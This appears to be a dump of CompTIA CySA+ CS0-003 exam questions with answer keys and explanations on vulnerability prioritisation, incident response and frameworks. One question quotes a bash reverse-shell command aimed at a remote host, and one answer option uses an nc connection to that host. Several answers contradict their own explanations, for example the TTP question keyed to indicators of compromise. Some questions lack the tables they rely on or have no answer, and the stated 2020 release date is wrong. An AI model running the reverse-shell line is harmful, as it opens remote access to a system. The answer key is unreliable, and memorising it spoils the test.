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The CS0-003 exam consists of 85 multiple-choice and performance-based questions, and candidates are given 165 minutes to complete the test. To pass the exam, candidates must score at least 750 out of a possible 900 points. CS0-003 exam is available in several languages, including English, Japanese, and Portuguese, and can be taken at Pearson VUE testing centers around the world.
NEW QUESTION # 54
A vulnerability scan shows several vulnerabilities. At the same time, a zero-day vulnerability with a CVSS score of 10 has been identified on a web server. Which of the following actions should the security analyst take first?
- A. Contact the web systems administrator and request that they shut down the asset.
- B. Forward the advisory to the web security team and initiate the prioritization strategy for the other vulnerabilities.
- C. Run the vulnerability scan again to verify the presence of the critical finding and the zero-day vulnerability.
- D. Monitor the patch releases for all items and escalate patching to the appropriate team.
Answer: A
Explanation:
A CVSS 10 vulnerability represents a critical security risk, often leading to remote code execution or complete system compromise.
* Option A (Shut down the asset) is the best immediate containment action for preventing exploitation.
* Option B (Monitor patches) is important but should be done after containment.
* Option C (Rescanning) is unnecessary when a high-confidence security advisory has been issued.
* Option D (Forwarding advisory) is good practice but does not immediately mitigate the threat.
NEW QUESTION # 55
An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of- life date. Which of the following best describes a security analyst's concern?
- A. Any discovered vulnerabilities will not be remediated.
- B. Support will not be available for the critical machinery
- C. There are no compensating controls in place for the OS.
- D. An outage of machinery would cost the organization money.
Answer: A
Explanation:
Explanation
A security analyst's concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst's role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21
NEW QUESTION # 56
Which of the following threat-hunting concepts is most concerned with identifying the behaviors of the bad actor?
- A. Tactics, techniques, and procedures
- B. Insider threat analysis
- C. Threat intelligence sharing
- D. Indicators of compromise
Answer: D
Explanation:
TTPs focus on the characteristic behaviors and methods adversaries use during an attack, making them central to understanding and hunting for malicious activity.
NEW QUESTION # 57
An organization's email account was compromised by a bad actor. Given the following information:
Which of the following is the length of time the team took to detect the threat?
- A. 2 hours
- B. 45 minutes
- C. 40 minutes
- D. 25 minutes
Answer: D
NEW QUESTION # 58
A company has decided to expose several systems to the internet, The systems are currently available internally only. A security analyst is using a subset of CVSS3.1 exploitability metrics to prioritize the vulnerabilities that would be the most exploitable when the systems are exposed to the internet. The systems and the vulnerabilities are shown below:
Which of the following systems should be prioritized for patching?
- A. blane
- B. sullivan
- C. brown
- D. grey
Answer: A
Explanation:
The system "blane" with the vulnerability name "snakedoctor" should be prioritized for patching as it has a network attack vector (AV:N), low attack complexity (AC:L), and high availability (A:H). These metrics indicate that it would be relatively easy to exploit this vulnerability over the internet, and the system is highly available. Reference: According to the CVSS v3.1 Specification Document, the exploitability metrics for CVSS are Attack Vector, Attack Complexity, Privileges Required, User Interaction, and Scope. These metrics measure how the vulnerability is accessed, the complexity of the attack, and the level of interaction and privileges required to exploit the vulnerability. The image shows a table with the values of these metrics for each system and vulnerability. Based on these values, the system "blane" has the highest exploitability score, as it has the most favorable conditions for an attacker. The other systems have either a lower attack vector, higher attack complexity, or lower availability, which make them less exploitable. Therefore, the system "blane" should be patched first.
NEW QUESTION # 59
A user reports a malware alert to the help desk. A technician verities the alert, determines the workstation is classified as a low-severity device, and uses network controls to block access. The technician then assigns the ticket to a security analyst who will complete the eradication and recovery processes. Which of the following should the security analyst do next?
- A. Document the procedures and walk through the incident training guide.
- B. Reverse engineer the malware to determine its purpose and risk to the organization.
- C. Isolate the workstation and issue a new computer to the user.
- D. Sanitize the workstation and verify countermeasures are restored.
Answer: D
Explanation:
Sanitizing the workstation and verifying countermeasures are restored are part of the eradication and recovery processes that the security analyst should perform next. Eradication is the process of removing malware or other threats from the affected systems, while recovery is the process of restoring normal operations and functionality to the affected systems. Sanitizing the workstation can involve deleting or wiping any malicious files or programs, while verifying countermeasures are restored can involve checking and updating any security controls or settings that may have been compromised .
NEW QUESTION # 60
SIMULATION
A healthcare organization must develop an action plan based on the findings from a risk assessment. The action plan must consist of:
- Risk categorization
- Risk prioritization
- Implementation of controls
INSTRUCTIONS
Click on the audit report, risk matrix, and SLA expectations documents to review their contents.
On the Risk categorization tab, determine the order in which the findings must be prioritized for remediation according to the risk rating score. Then, assign a categorization to each risk.
On the Controls tab, select the appropriate control(s) to implement for each risk finding. Findings may have more than one control implemented. Some controls may be used more than once or not at all.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 61
During an incident involving phishing, a security analyst needs to find the source of the malicious email. Which of the following techniques would provide the analyst with this information?
- A. Header analysis
- B. Packet capture
- C. SSL inspection
- D. Reverse engineering
Answer: A
Explanation:
Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. Reference: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.
NEW QUESTION # 62
A security analyst reviews the following Arachni scan results for a web application that stores PII data:
Which of the following should be remediated first?
- A. XSS
- B. RFI
- C. SQL injection
- D. Code injection
Answer: C
Explanation:
SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of blind SQL injection (two timing attacks and one differential analysis) in the web application.
These vulnerabilities indicate that the web application does not properly validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries12. SQL injection can have serious consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data exfiltration, or remote code execution34.
Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input validation, parameterized queries, and least privilege principle to prevent SQL injection attacks5. References: Web application testing with Arachni | Infosec, How do I create a generated scan report for PDF in Arachni Web ..., Command line user interface Arachni/arachni Wiki GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial | Veracode
NEW QUESTION # 63
A company recently removed administrator rights from all of its end user workstations. An analyst uses CVSSv3.1 exploitability metrics to prioritize the vulnerabilities for the workstations and produces the following information:
Which of the following vulnerabilities should be prioritized for remediation?
- A. great.skills
- B. vote.4p
- C. sweet.bike
- D. nessie.explosion
Answer: D
Explanation:
nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score of 8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and technical means by which the vulnerability can be exploited. The exploitability score is calculated based on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker12. nessie.explosion has the highest exploitability score because it has the lowest values for all four metrics: Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be exploited remotely over the network, without requiring any user interaction or privileges, and with low complexity. Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they require physical proximity, user involvement, or some privileges34. Reference: CVSS v3.1 Specification Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples - FIRST
NEW QUESTION # 64
The Chief Information Security Officer (CISO) of a large management firm has selected a cybersecurity framework that will help the organization demonstrate its investment in tools and systems to protect its dat a. Which of the following did the CISO most likely select?
- A. ISO 27001
- B. PCI DSS
- C. ITIL
- D. COBIT
Answer: A
Explanation:
ISO 27001 is an international standard that establishes a framework for implementing, maintaining, and improving an information security management system (ISMS). It helps organizations demonstrate their commitment to protecting their data and complying with various regulations and best practices. The other options are not relevant for this purpose: PCI DSS is a standard that focuses on protecting payment card data; COBIT is a framework that provides guidance on governance and management of enterprise IT; ITIL is a framework that provides guidance on service management and delivery.
Reference:
According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities". The book also covers the usage and syntax of various cybersecurity frameworks and standards, such as ISO 27001, PCI DSS, COBIT, and ITIL, in chapter 1. Specifically, it explains the meaning and function of each framework and standard, such as ISO 27001, which provides a comprehensive approach to information security management1, page 29. Therefore, this is a reliable source to verify the answer to the question.
NEW QUESTION # 65
A cybersecurity analyst is recording the following details
* ID
* Name
* Description
* Classification of information
* Responsible party
In which of the following documents is the analyst recording this information?
- A. Incident response plan
- B. Change control documentation
- C. Incident response playbook
- D. Risk register
Answer: D
Explanation:
A risk register typically contains details like ID, name, description, classification of information, and responsible party. It's used for tracking identified risks and managing them.
Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This document is used to identify, assess, manage, and monitor risks within an organization. It's not directly related to incident response or change control documentation.
NEW QUESTION # 66
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?
- A. #!/bin/bashnetstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
- B. #!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
- C. #!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
- D. #!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
Answer: A
Explanation:
The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.
ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page
339.Reverse Shell Cheat Sheet, Bash section.
NEW QUESTION # 67
An analyst is reviewing a vulnerability report for a server environment with the following entries:
Which of the following systems should be prioritized for patching first?
- A. 54.74.110.228
- B. 10.101.27.98
- C. 54.74.110.26
- D. 54.73.225.17
Answer: A
Explanation:
The system that should be prioritized for patching first is 54.74.110.228, as it has the highest number and severity of vulnerabilities among the four systems listed in the vulnerability report. According to the report, this system has 12 vulnerabilities, with 8 critical, 3 high, and 1 medium severity ratings. The critical vulnerabilities include CVE-2019-0708 (BlueKeep), CVE-2019-1182 (DejaBlue), CVE-2017-0144 (EternalBlue), and CVE-2017-0145 (EternalRomance), which are all remote code execution vulnerabilities that can allow an attacker to compromise the system without any user interaction or authentication. These vulnerabilities pose a high risk to the system and should be patched as soon as possible.
NEW QUESTION # 68
Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:
Which of the following should the security analyst prioritize for remediation?
- A. manning
- B. brees
- C. rogers
- D. brady
Answer: D
Explanation:
Explanation
Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of 9 x 0.8 = 7.2, which is higher than any other system. Brady also has 500 affected users, which is more than any other system. Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.
NEW QUESTION # 69
A security analyst performs a vulnerability scan. Given the following findings:
Which of the following machines should the analyst address first? (Select two).
- A. Server 6
- B. Server5
- C. Server2
- D. server3
- E. Server1
- F. Server4
Answer: B,D
Explanation:
To decide what to address first, CySA+ expects a risk-based prioritization approach, combining factors like:
Asset criticality/value (business impact)
Exposure/architecture (internet-facing vs. isolated/internal)
Patch availability / ability to remediate quickly
Exploitability / likelihood of exploitation
1) Server5 (Critical + Patch Yes) - prioritize immediately
Server5 sits in the database network, is marked Critical, and a patch is available. That combination makes it one of the highest priorities because you can rapidly reduce risk on an asset with the greatest business impact.
Secbay explicitly states that prioritization should align to asset criticality and business impact, and also notes that patch availability accelerates remediation:
Exact extract (Secbay Press): "Prioritize vulnerabilities based on their severity, exploitability, and potential impact... Asset Criticality: Identify and prioritize vulnerabilities based on the criticality of the assets they affect..." and "Patch Availability... Action: Prioritize vulnerabilities for which patches are readily available, as prompt remediation is possible." The All-in-One guide emphasizes asset value/criticality as a major driver of how fast you remediate:
Exact extract (All-in-One Exam Guide): "Asset value is likely one of the most important factors in determining how quickly you should remediate vulnerabilities..."
2) Server3 (Perimeter + High) - address immediately (mitigate now, patch later) Server3 is in the perimeter network and rated High, making it more exposed to attack paths than internal-only systems. Even though no patch is available, the analyst must still "address" it first via mitigation/compensating controls (segmentation, firewalling, disabling vulnerable services, WAF where relevant, tighter ACLs, etc.) because perimeter exposure increases likelihood of exploitation.
The All-in-One guide makes the architecture/exposure point very directly:
Exact extract (All-in-One Exam Guide - Exam Tip): "The architecture of your infrastructure should be a factor... Internet-facing hosts with sensitive information will likely be your highest priority, while isolated systems... may be able to wait a bit longer for remediation." Secbay's prioritization guidance also highlights focusing on critical/high impact risks first and using risk-based prioritization.
Why not the others (briefly):
Server4 (Internal, High, Patch Yes): This is a strong candidate, but when choosing only two, perimeter high exposure (Server3) plus critical database with patch (Server5) generally outranks an internal high system.
Server2 (Perimeter, Low, Patch Yes): Exposed, but Low criticality.
Server1 / Server6 (Medium, No patch): Lower criticality and no patch-typically handled after higher-risk items, or mitigated as feasible.
Reference (CompTIA CySA+ CS0-003 documents / study guides used):
Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): infrastructure architecture affects remediation priority; internet-facing hosts are typically highest priority; asset value drives remediation urgency Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): vulnerability prioritization factors include asset criticality and patch availability; prioritize items with readily available patches for prompt remediation
NEW QUESTION # 70
Numerous emails were sent to a company's customer distribution list. The customers reported that the emails contained a suspicious link. The company's SOC determined the links were malicious. Which of the following is the best way to decrease these emails?
- A. DMARC
- B. SMTP
- C. SPF
- D. DKIM
Answer: A
Explanation:
Comprehensive and Detailed Explanation:
DMARC (Domain-based Message Authentication, Reporting, and Conformance) helps organizations prevent email spoofing and phishing by enforcing policies based on SPF and DKIM.
* Option B (DKIM - DomainKeys Identified Mail) verifies message integrity but does not enforce policies.
* Option C (SPF - Sender Policy Framework) prevents spoofing but is not as comprehensive as DMARC.
* Option D (SMTP - Simple Mail Transfer Protocol) is just an email delivery protocol, not a security control.
Thus, A (DMARC) is the correct answer, as it combines SPF and DKIM to prevent spoofing and phishing attacks.
NEW QUESTION # 71
The Chief Information Security Officer wants the same level of security to be present whether a remote worker logs in at home or at a coffee shop. Which of the following should be recommended as a starting point?
- A. Serverless workloads
- B. Passwordless authentication
- C. Standard-issue laptops
- D. Non-persistent virtual desktop infrastructures
Answer: D
Explanation:
Non-persistent virtual desktop infrastructures (VDIs) are the most suitable choice to ensure consistent security across different locations. Non-persistent VDIs revert to their original state after a session, reducing the risk of data leakage or malware persistence. These systems are centrally managed, ensuring uniform security policies regardless of the user's location.
NEW QUESTION # 72
An analyst is conducting routine vulnerability assessments on the company infrastructure. When performing these scans, a business-critical server crashes, and the cause is traced back to the vulnerability scanner. Which of the following is the cause of this issue?
- A. The scanner is running in active mode.
- B. The scanner is segmented improperly
- C. The scanner is configured with a scanning window
- D. The scanner is running without an agent installed.
Answer: A
NEW QUESTION # 73
During the log analysis phase, the following suspicious command is detected-
Which of the following is being attempted?
- A. ICMP tunneling
- B. RCE
- C. Buffer overflow
- D. Smurf attack
Answer: B
Explanation:
Explanation
RCE stands for remote code execution, which is a type of attack that allows an attacker to execute arbitrary commands on a target system. The suspicious command in the question is an example of RCE, as it tries to download and execute a malicious file from a remote server using the wget and chmod commands. A buffer overflow is a type of vulnerability that occurs when a program writes more data to a memory buffer than it can hold, potentially overwriting other memory locations and corrupting the program's execution. ICMP tunneling is a technique that uses ICMP packets to encapsulate and transmit data that would normally be blocked by firewalls or filters. A smurf attack is a type of DDoS attack that floods a network with ICMP echo requests, causing all devices on the network to reply and generate a large amount of traffic. Verified References: What Is Buffer Overflow? Attacks, Types & Vulnerabilities - Fortinet1, What Is a Smurf Attack? Smurf DDoS Attack | Fortinet2, exploit - Interpreting CVE ratings: Buffer Overflow vs. Denial of ...3
NEW QUESTION # 74
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CompTIA CS0-003 exam is the latest version of the CySA+ certification exam. It was released in November 2020 and includes updated content and new exam objectives. CS0-003 exam is designed to test the skills and knowledge required to perform the job of a cybersecurity analyst. It covers a range of topics, including threat management, vulnerability management, incident response, security architecture and toolsets, and more. CS0-003 exam consists of 85 multiple-choice and performance-based questions and has a time limit of 165 minutes.
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